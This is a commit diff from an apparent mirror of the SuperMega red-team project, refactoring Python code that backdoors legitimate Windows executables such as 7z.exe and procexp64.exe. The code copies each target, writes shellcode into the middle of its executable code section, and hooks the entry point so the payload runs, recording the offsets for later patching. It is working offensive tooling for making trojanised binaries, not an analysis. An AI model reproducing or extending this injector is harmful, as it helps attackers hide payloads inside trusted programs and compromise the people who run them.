mirror of
https://github.com/dobin/SuperMega
synced 2026-06-03 01:27:11 +00:00
refactor: get code from exe after backdooring
This commit is contained in:
+48
-3
@@ -3,9 +3,13 @@ import shutil
|
||||
import pprint
|
||||
import logging
|
||||
import time
|
||||
import tempfile
|
||||
|
||||
from pehelper import *
|
||||
from model import *
|
||||
from observer import observer
|
||||
|
||||
from redbackdoorer import PeBackdoor, Logger, options
|
||||
|
||||
logger = logging.getLogger("Injector")
|
||||
|
||||
@@ -14,15 +18,18 @@ def inject_exe(
|
||||
shellcode_in: FilePath,
|
||||
exe_in: FilePath,
|
||||
exe_out: FilePath,
|
||||
inject_mode: int,
|
||||
):
|
||||
logger.info("--[ Injecting: {} into: {} -> {} ".format(
|
||||
shellcode_in, exe_in, exe_out
|
||||
logger.info("--[ Injecting: {} into: {} -> {} mode {}".format(
|
||||
shellcode_in, exe_in, exe_out, inject_mode
|
||||
))
|
||||
|
||||
shellcode_len = len(file_readall_binary(shellcode_in))
|
||||
|
||||
# create copy of file exe_in to exe_out
|
||||
shutil.copyfile(exe_in, exe_out)
|
||||
|
||||
# inject shellcode into exe_out with redbackdoorer
|
||||
if False:
|
||||
# python3.exe .\redbackdoorer.py 1,1 main-clean-append.bin .\exes\procexp64-a.exe
|
||||
run_process_checkret([
|
||||
"python3.exe",
|
||||
@@ -32,6 +39,44 @@ def inject_exe(
|
||||
exe_out
|
||||
])
|
||||
|
||||
options["verbose"] = True
|
||||
|
||||
# copy it first...
|
||||
temp = tempfile.NamedTemporaryFile(delete=False)
|
||||
shutil.copy(exe_out, temp.name)
|
||||
outfile = temp.name
|
||||
|
||||
peinj = PeBackdoor(options, Logger)
|
||||
result = peinj.backdoor(
|
||||
1, # always overwrite .text section
|
||||
inject_mode,
|
||||
shellcode_in,
|
||||
exe_out,
|
||||
outfile
|
||||
)
|
||||
if not result:
|
||||
logging.error("Error: Redbackdoorer failed")
|
||||
raise Exception("Redbackdoorer failed")
|
||||
|
||||
# and copy back
|
||||
shutil.copy(outfile, exe_out)
|
||||
temp.close()
|
||||
os.unlink(temp.name)
|
||||
|
||||
print("Result: {} and 0x{:x} 0x{:x}".format(
|
||||
result, peinj.shellcodeOffset, peinj.backdoorOffsetRel,
|
||||
))
|
||||
|
||||
code = extract_code_from_exe(exe_out)
|
||||
|
||||
fucking_offset = peinj.backdoorOffsetRel
|
||||
|
||||
in_code = code[peinj.shellcodeOffsetRel:peinj.shellcodeOffsetRel+shellcode_len]
|
||||
jmp_code = code[fucking_offset:fucking_offset+12]
|
||||
|
||||
observer.add_code("backdoored_code", in_code)
|
||||
observer.add_code("backdoored_jmp", jmp_code)
|
||||
|
||||
|
||||
def injected_fix_iat(exe_out: FilePath, exe_info: ExeInfo):
|
||||
"""replace IAT in shellcode in code and re-implant it"""
|
||||
|
||||
+1
-1
@@ -17,7 +17,7 @@ class Project():
|
||||
|
||||
# Injectable
|
||||
self.inject: bool = False
|
||||
self.inject_mode: str = "1,2"
|
||||
self.inject_mode: int = 2
|
||||
self.inject_exe_in: FilePath = ""
|
||||
self.inject_exe_out: FilePath = ""
|
||||
self.exe_info: ExeInfo = None
|
||||
|
||||
+30
-31
@@ -387,6 +387,10 @@ class PeBackdoor:
|
||||
self.logger = logger
|
||||
self.createdTlsSection = False
|
||||
|
||||
self.shellcodeOffset = 0 # from start of the file
|
||||
self.shellcodeOffsetRel = 0 # from start of the code section
|
||||
self.backdoorOffsetRel = 0 # from start of the code section
|
||||
|
||||
def openFile(self):
|
||||
self.pe = pefile.PE(self.infile, fast_load=False)
|
||||
self.pe.parse_data_directories()
|
||||
@@ -412,7 +416,6 @@ class PeBackdoor:
|
||||
self.infile = infile
|
||||
self.outfile = outfile
|
||||
self.sectionName = options.get('section_name', DefaultSectionName)
|
||||
self.shellcodeOffset = 0
|
||||
|
||||
try:
|
||||
PeBackdoor.SupportedSaveModes(saveMode)
|
||||
@@ -475,6 +478,15 @@ class PeBackdoor:
|
||||
self.logger.ok('PE executable Authenticode signature removed.')
|
||||
return True
|
||||
|
||||
|
||||
def _get_code_section(self):
|
||||
entrypoint = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
|
||||
for sect in self.pe.sections:
|
||||
if sect.Characteristics & pefile.SECTION_CHARACTERISTICS['IMAGE_SCN_MEM_EXECUTE']:
|
||||
if entrypoint >= sect.VirtualAddress and entrypoint <= sect.VirtualAddress + sect.SizeOfRawData:
|
||||
return sect
|
||||
return None
|
||||
|
||||
def injectShellcode(self):
|
||||
if self.saveMode == int(PeBackdoor.SupportedSaveModes.NewPESection):
|
||||
self.pe.write(self.outfile)
|
||||
@@ -495,53 +507,38 @@ class PeBackdoor:
|
||||
|
||||
elif self.saveMode == int(PeBackdoor.SupportedSaveModes.WithinCodeSection):
|
||||
entrypoint = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
|
||||
section = None
|
||||
sect = self._get_code_section()
|
||||
sect_name = sect.Name.decode().rstrip('\x00')
|
||||
sect_size = sect.Misc_VirtualSize # Better than: SizeOfRawData
|
||||
if sect == None:
|
||||
return False
|
||||
|
||||
for sect in self.pe.sections:
|
||||
name = sect.Name.decode()
|
||||
self.logger.dbg("Checking if section is executable: {}: 0x{:x}".format(name, sect.Characteristics))
|
||||
self.logger.dbg(f'Backdooring {sect_name} section.')
|
||||
|
||||
# 0x20 = code
|
||||
# 0x20000000 = executable
|
||||
if sect.Characteristics & 0x20000000 != 0:
|
||||
#if sect.Characteristics & 0x20 != 0:
|
||||
# make sure its really the destination section
|
||||
# UPX packed files have UPX0, UPX1, where the latter has the entry point
|
||||
#self.logger.dbg("--> 0x{:x} 0x{:x} 0x{:x}".format(
|
||||
# entrypoint,
|
||||
# sect.VirtualAddress,
|
||||
# sect.VirtualAddress + sect.SizeOfRawData,
|
||||
#))
|
||||
if entrypoint > sect.VirtualAddress and entrypoint < sect.VirtualAddress + sect.SizeOfRawData:
|
||||
section = sect
|
||||
break
|
||||
|
||||
if section != None:
|
||||
self.logger.dbg(f'Backdooring {name} section.')
|
||||
|
||||
if sect.Misc_VirtualSize < len(self.shellcodeData):
|
||||
if sect_size < len(self.shellcodeData):
|
||||
self.logger.fatal(f'''Input shellcode is too large to fit into target PE executable code section!
|
||||
Shellcode size : {len(self.shellcodeData)}
|
||||
Code section size : {sect.Misc_VirtualSize}
|
||||
Code section size : {sect_size}
|
||||
''')
|
||||
|
||||
offset = int((sect.Misc_VirtualSize - len(self.shellcodeData)) / 2)
|
||||
offset = int((sect_size - len(self.shellcodeData)) / 2)
|
||||
self.logger.dbg(f'Inserting shellcode into 0x{offset:x} offset.')
|
||||
|
||||
self.pe.set_bytes_at_offset(offset, self.shellcodeData)
|
||||
self.shellcodeOffset = offset
|
||||
self.shellcodeOffsetRel = offset - sect.PointerToRawData
|
||||
|
||||
rva = self.pe.get_rva_from_offset(offset)
|
||||
|
||||
p = sect.PointerToRawData + sect.SizeOfRawData - 64
|
||||
graph = textwrap.indent(f'''
|
||||
Beginning of {name}:
|
||||
Beginning of {sect_name}:
|
||||
{textwrap.indent(hexdump(self.pe.get_data(sect.VirtualAddress), sect.VirtualAddress, 64), "0")}
|
||||
|
||||
Injected shellcode in the middle of {name}:
|
||||
Injected shellcode in the middle of {sect_name}:
|
||||
{hexdump(self.shellcodeData, offset, 64)}
|
||||
|
||||
Trailing {name} bytes:
|
||||
Trailing {sect_name} bytes:
|
||||
{hexdump(self.pe.get_data(self.pe.get_rva_from_offset(p)), p, 64)}
|
||||
''', '\t')
|
||||
|
||||
@@ -549,7 +546,6 @@ Trailing {name} bytes:
|
||||
self.logger.dbg(graph)
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def setupShellcodeEntryPoint(self):
|
||||
if self.runMode == int(PeBackdoor.SupportedRunModes.ModifyOEP):
|
||||
@@ -650,7 +646,6 @@ Sources:
|
||||
ep = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
|
||||
|
||||
ep_ava = ep + self.pe.OPTIONAL_HEADER.ImageBase
|
||||
|
||||
data = self.pe.get_memory_mapped_image()[ep:ep+128]
|
||||
offset = 0
|
||||
|
||||
@@ -659,6 +654,10 @@ Sources:
|
||||
disasmData = self.pe.get_memory_mapped_image()
|
||||
output = self.disasmBytes(cs, ks, disasmData, ep, 128, self.backdoorInstruction)
|
||||
|
||||
# store offset... by calculating it first FUCK
|
||||
section = self._get_code_section()
|
||||
self.backdoorOffsetRel = output - section.VirtualAddress
|
||||
|
||||
if output != 0:
|
||||
self.logger.dbg('Now disasm looks like follows: ')
|
||||
|
||||
|
||||
+6
-5
@@ -51,17 +51,17 @@ def main():
|
||||
|
||||
if args.verify == "peb":
|
||||
project.inject = True
|
||||
project.inject_mode = "1,2"
|
||||
project.inject_mode = 2
|
||||
project.inject_exe_in = "exes/7z.exe"
|
||||
project.inject_exe_out = "out/7z-verify.exe"
|
||||
elif args.verify == "iat":
|
||||
project.inject = True
|
||||
project.inject_mode = "1,2"
|
||||
project.inject_mode = 2
|
||||
project.inject_exe_in = "exes/procexp64.exe"
|
||||
project.inject_exe_out = "out/procexp64-verify.exe"
|
||||
elif args.verify == "rwx":
|
||||
project.inject = True
|
||||
project.inject_mode = "1,1" # ,2 is broken atm
|
||||
project.inject_mode = 1 # ,2 is broken atm
|
||||
project.inject_exe_in = "exes/wifiinfoview.exe"
|
||||
project.inject_exe_out = "out/wifiinfoview.exe-verify.exe"
|
||||
else:
|
||||
@@ -81,7 +81,7 @@ def main():
|
||||
|
||||
if args.rbrunmode:
|
||||
if args.rbrunmode == "1" or args.rbrunmode == "2" or args.rbrunmode == "3":
|
||||
project.inject_mode = "1," + args.rbrunmode
|
||||
project.inject_mode = int(args.rbrunmode)
|
||||
else:
|
||||
logging.error("Invalid mode, use one of:")
|
||||
for i in ["1", "2", "3"]:
|
||||
@@ -215,7 +215,8 @@ def start():
|
||||
phases.injector.inject_exe(
|
||||
shellcode_in = main_shc_file,
|
||||
exe_in = project.inject_exe_in,
|
||||
exe_out = project.inject_exe_out
|
||||
exe_out = project.inject_exe_out,
|
||||
inject_mode = project.inject_mode,
|
||||
)
|
||||
if project.source_style == SourceStyle.iat_reuse:
|
||||
phases.injector.injected_fix_iat(project.inject_exe_out, project.exe_info)
|
||||
|
||||
Reference in New Issue
Block a user